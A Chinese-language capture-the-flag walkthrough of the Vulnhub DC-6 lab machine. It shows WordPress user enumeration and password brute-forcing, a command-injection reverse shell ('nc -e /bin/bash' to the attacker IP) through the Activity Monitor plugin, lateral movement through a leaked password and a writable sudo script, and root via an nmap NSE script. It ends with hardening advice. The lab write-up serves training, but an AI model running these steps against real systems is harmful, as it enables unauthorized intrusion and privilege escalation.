DC-6 靶机渗透测试Vulnhub Writeup一、靶机与环境介绍本次实战目标为 Vulnhub 平台的 DC-6 靶机作者 DCAU7站点主题为 WordPress 博客 wordy。完整攻击链为信息收集 → 多用户枚举与弱口令爆破 → Activity Monitor 插件远程命令执行 → 凭据泄露横向至 graham → backups.sh 脚本改写切换 jens → nmap 自定义 NSE 脚本提权 root。攻击机为 Kali Linux192.168.153.162靶机地址经扫描确认为 192.168.153.174。二、信息收集一存活主机扫描┌──(root㉿kali)-[~] └─# arp-scan -l Interface: eth0, type: EN10MB, MAC: 00:0c:29:d8:01:18, IPv4: 192.168.1.165 192.168.153.174 08:00:27:e7:6b:7c PCS Systemtechnik GmbH ┌──(root㉿kali)-[~] └─# nmap -sn 192.168.153.174 Host is up (0.00031s latency). MAC Address: 08:00:27:E7:6B:7C (PCS Systemtechnik/Oracle VirtualBox virtual NIC)二端口扫描全端口扫描仅开放 22SSH与 80HTTP80 端口返回的页面自动跳转到 http://wordy/提示需要在本机 hosts 中添加域名映射。┌──(root㉿kali)-[~] └─# nmap -p- 192.168.153.174 22/tcp open ssh 80/tcp open http ┌──(root㉿kali)-[~] └─# nmap -p22,80 -sC -sV -O 192.168.153.174 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4p1 Debian 10deb9u6 (protocol 2.0) 80/tcp open http Apache httpd 2.4.25 ((Debian)) |_http-server-header: Apache/2.4.25 (Debian) |_http-title: Did not follow redirect to http://wordy/ Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel三修改 hosts 并完成指纹识别按页面跳转提示在 Kali 的 /etc/hosts 中添加域名映射再使用 whatweb 识别指纹确认站点为 WordPress 5.1.1。┌──(root㉿kali)-[~] └─# echo 192.168.153.174 wordy /etc/hosts ┌──(root㉿kali)-[~] └─# whatweb http://wordy http://wordy [200 OK] Apache[2.4.25], HTML5, JQuery[1.12.4], MetaGenerator[WordPress 5.1.1], PoweredBy[WordPress], Title[Wordy #8211; Just another WordPress site], WordPress[5.1.1]四目录扫描dirsearch 进一步确认站点为标准 WordPress 目录结构存在 wp-admin、wp-content、wp-login.php 等典型路径。┌──(root㉿kali)-[~] └─# dirsearch -u http://192.168.153.174 [21:57:45] 200 - 18KB - /index.php [21:57:59] 301 - 321B - /wp-admin - http://192.168.153.174/wp-admin/ [21:57:59] 301 - 323B - /wp-content - http://192.168.153.174/wp-content/ [21:57:59] 302 - 0B - /wp-admin/ - http://wordy/wp-login.php [21:57:59] 200 - 1KB - /wp-login.php三、WordPress 用户枚举与弱口令爆破一枚举用户名使用 wpscan 枚举得到 5 个用户名admin、jens、graham、mark、sarah写入 username.txt 备用。┌──(root㉿kali)-[~] └─# wpscan --url http://wordy/ -e u [] Enumerating Users (via Passive and Aggressive Methods) [i] User(s) Identified: [] admin [] jens [] graham [] mark [] sarah ┌──(root㉿kali)-[~] └─# echo -e admin\njens\ngraham\nmark\nsarah username.txt二按作者提示简化字典爆破靶机作者在描述中提示密码形如 k01 结尾因此用 grep “k01” 从 rockyou.txt 中筛出 2668 行候选密码再对 5 个用户名批量爆破命中 mark/helpdesk01。┌──(root㉿kali)-[~] └─# cat /usr/share/wordlists/rockyou.txt | grep k01 password.txt ┌──(root㉿kali)-[~] └─# wc -l password.txt 2668 password.txt ┌──(root㉿kali)-[~] └─# wpscan --url http://wordy/ -U username.txt -P password.txt [] Performing password attack on Xmlrpc against 5 user/s [SUCCESS] - mark / helpdesk01四、Activity Monitor 插件 RCE 反弹 Shell使用 mark/helpdesk01 登录 WordPress 后台在 Activity monitor → Tools → IP tools 中IP or integer 输入框原本用于查询 IP但未做严格过滤直接拼接在 dig/系统命令之后。输入 127.0.0.1;id 并点击 Lookup成功回显 www-data 身份。由于前端输入框对长度有限制反弹 Shell payload 较长需要通过 Burp Repeater 抓包修改或直接用 curl 携带登录 Cookie 提交在 ip 参数中拼接 nc 反弹命令。# 攻击机监听 ┌──(root㉿kali)-[~] └─# nc -lvvp 4444 # 在 IP tools 中提交的 payloadcurl / Burp 抓包均可 127.0.0.1;nc -e /bin/bash 192.168.153.162 4444成功获得 www-data 权限的交互式 Shelllistening on [any] 4444 ... connect to [192.168.153.162] from wordy [192.168.153.174] 42890 www-datadc-6:/var/www/html/wp-admin$ python -c import pty;pty.spawn(/bin/bash); www-datadc-6:/var/www/html/wp-admin$ id uid33(www-data) gid33(www-data) groups33(www-data)五、横向移动与提权一www-data → graham凭证明文记录泄露查看 /etc/passwd 发现系统本地用户 graham、mark、sarah、jens遍历 /home 目录在 /home/mark/stuff/things-to-do.txt 待办清单中找到作者留下的线索——新增用户 graham 的初始密码 GSo7isUM1D4直接 su 切换。www-datadc-6:$ cat /etc/passwd root:x:0:0:root:/root:/bin/bash graham:x:1001:1001:Graham,,,:/home/graham:/bin/bash mark:x:1002:1002:Mark,,,:/home/mark:/bin/bash sarah:x:1003:1003:Sarah,,,:/home/sarah:/bin/bash jens:x:1004:1004:Jens,,,:/home/jens:/bin/bash www-datadc-6:$ cat /home/mark/stuff/things-to-do.txt Things to do: - Restore full functionality for the hyperdrive (need to speak to Jens) - Buy present for Sarahs farewell party - Add new user: graham - GSo7isUM1D4 - done - Apply for the OSCP course www-datadc-6:$ su graham Password: GSo7isUM1D4 grahamdc-6:/home/mark/stuff$ id uid1001(graham) gid1001(graham) groups1001(graham),1005(devs)二graham → jens可写 backups.sh 脚本改写graham 执行 sudo -l 发现可以 NOPASSWD 身份 jens 运行 /home/jens/backups.sh该脚本属主为 jens但同组 devs 对其具有写权限rwxrwxr-x。直接用 echo 覆盖脚本内容为 /bin/bash再以 jens 身份运行即拿到 jens Shell。grahamdc-6:$ sudo -l User graham may run the following commands on dc-6: (jens) NOPASSWD: /home/jens/backups.sh grahamdc-6:$ ls -al /home/jens/backups.sh -rwxrwxr-x 1 jens devs 50 Apr 26 2019 backups.sh grahamdc-6:$ cat /home/jens/backups.sh #!/bin/bash tar -czf backups.tar.gz /var/www/html grahamdc-6:$ echo /bin/bash /home/jens/backups.sh grahamdc-6:$ sudo -u jens /home/jens/backups.sh jensdc-6:~$ id uid1004(jens) gid1004(jens) groups1004(jens),1005(devs)三jens → rootnmap 自定义 NSE 脚本提权jens 执行 sudo -l 发现可以 NOPASSWD 以 root 身份运行 /usr/bin/nmap且版本为 7.40 支持自定义 NSE 脚本。在可写目录写入 exploit.nse使用 os.execute 拉起 root Shell。jensdc-6:~$ sudo -l User jens may run the following commands on dc-6: (root) NOPASSWD: /usr/bin/nmap jensdc-6:~$ nmap --version Nmap version 7.40 jensdc-6:~$ echo os.execute(/bin/bash -p) exploit.nse jensdc-6:~$ sudo /usr/bin/nmap --script./exploit.nse Starting Nmap 7.40 ( https://nmap.org ) at 2026-10-14 00:36 AEST rootdc-6:/home/jens# id uid0(root) gid0(root) groups0(root)四root flagrootdc-6:~# cd /root rootdc-6:~# ls -la -rw-r--r-- 1 root root 541 Apr 26 2019 theflag.txt rootdc-6:~# cat theflag.txt Yb dP 888888 88 88 8888b. dPYb 88b 88 888888 d8b Yb db dP 88__ 88 88 8I Yb dP Yb 88Yb88 88__ Y8P YbdPYbdP 88 88 .o 88 .o 8I dY Yb dP 88 Y88 88 YP YP 888888 88ood8 88ood8 8888Y YbodP 88 Y8 888888 (8) Congratulations!!! Hope you enjoyed DC-6. Just wanted to send a big thanks out there to all those who have provided feedback, and who have taken time to complete these little challenges. If you enjoyed this CTF, send me a tweet via DCAU7.六、总结DC-6 靶机的完整攻击链如下1. 端口扫描确认 80 端口跳转到 wordy 域名修改 hosts 后识别 WordPress 5.1.12. wpscan 枚举出 5 个用户名按作者提示用 grep k01 精简 rockyou 字典爆破得 mark/helpdesk013. 登录后台利用 Activity Monitor 插件 IP tools 的命令拼接缺陷经 Burp/curl 提交反弹 Shell 获得 www-data4. 从 mark 家目录待办清单中拿到 graham 初始密码横向切换5. 利用 graham 可 NOPASSWD 运行 jens 的 backups.sh且脚本对 devs 组可写覆盖为 /bin/bash 切换 jens6. jens 可 NOPASSWD 以 root 运行 nmap通过自定义 NSE 脚本 os.execute 提权至 root。对应的安全建议① WordPress 后台插件应严格过滤用户输入禁止拼接系统命令② 待办清单、配置文件、家目录中不应明文记录账号密码③ sudoers 中 NOPASSWD 脚本必须属主 root 且对其他用户不可写避免脚本改写劫持④ 高版本 nmap 不再支持非交互 NSE 直接拉起 Shell应及时升级组件并最小化 sudo 权限⑤ 多用户服务器应按职责分离账号避免组权限过大导致横向。